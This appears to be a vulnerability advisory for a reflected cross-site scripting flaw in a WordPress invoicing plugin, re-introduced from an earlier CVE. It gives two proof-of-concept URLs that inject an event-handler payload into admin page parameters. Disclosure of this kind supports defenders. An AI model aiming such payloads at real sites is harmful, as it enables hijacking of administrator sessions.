WooCommerce PDF Invoices & Packing Slips < 3.0.1 - Reflected Cross-Site Scripting

The plugin does not sanitise and escape some parameters before outputting them back in an attributes of an admin page, leading to Reflected Cross-Site Scripting. This is a re-introduction of CVE-2021-24991 in 2.14.0

PoC

https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&amp;tab;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x http://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&amp;section;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(%2FXSS%2F)+x%3D